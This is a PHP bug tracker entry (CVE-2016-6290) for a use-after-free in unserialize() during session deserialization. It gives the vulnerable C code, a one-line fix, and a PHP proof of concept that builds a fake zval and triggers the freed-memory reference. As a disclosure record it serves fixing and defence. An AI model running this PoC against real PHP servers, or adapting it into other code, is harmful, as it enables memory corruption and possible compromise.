|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-07-13 06:29 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2016-07-13 06:29 UTC] stas@php.net
[2016-07-19 07:47 UTC] stas@php.net
[2016-07-19 07:47 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-07-19 07:53 UTC] stas@php.net
[2016-07-19 08:39 UTC] stas@php.net
[2016-07-19 08:55 UTC] stas@php.net
[2016-07-25 15:18 UTC] remi@php.net
-CVE-ID:
+CVE-ID: 2016-6290
[2016-10-17 10:11 UTC] bwoebi@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 22:00:02 2025 UTC |
Description: ------------ Use After Free in unserialize() with Unexpected Session Deserialization ``` PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */ { ... PHP_VAR_UNSERIALIZE_INIT(var_hash); for (p = val; p < endptr; ) { zval **tmp; namelen = ((unsigned char)(*p)) & (~PS_BIN_UNDEF); if (namelen < 0 || namelen > PS_BIN_MAX || (p + namelen) >= endptr) { return FAILURE; } ``` The `PHP_VAR_UNSERIALIZE_DESTROY` will not be called when the deserialization fails. ``` #define PHP_VAR_UNSERIALIZE_DESTROY(var_hash_ptr) \ do { \ /* fprintf(stderr, "UNSERIALIZE_DESTROY == lock: %u, level: %u\n", BG(serialize_lock), BG(unserialize).level); */ \ if (BG(serialize_lock) || !BG(unserialize).level) { \ var_destroy(&(var_hash_ptr)); \ efree(var_hash_ptr); \ } else { \ if (!--BG(unserialize).level) { \ var_destroy(&(var_hash_ptr)); \ efree((var_hash_ptr)); \ BG(unserialize).var_hash = NULL; \ } \ } \ } while (0) ``` So the `var_hash` will not be destroyed, this means that it is possible to call the php_var_unserialize() multiple times with the `var_hash`. This also means that it is possible to lead to use-after-free in the context of code. The exploitation way has been demonstrated many times before in some fixed and unfixed bugs. PoC: ``` <?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $sess = "\x1xi:1;\x2y"; session_decode($sess); $uns_1 = '{'; $out_1[] = unserialize($uns_1); unset($out_1); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } $uns_2 = 'R:2;'; $out_2 = unserialize($uns_2); var_dump($out_2); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ``` Fix: ``` if (namelen < 0 || namelen > PS_BIN_MAX || (p + namelen) >= endptr) { + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); return FAILURE; } ```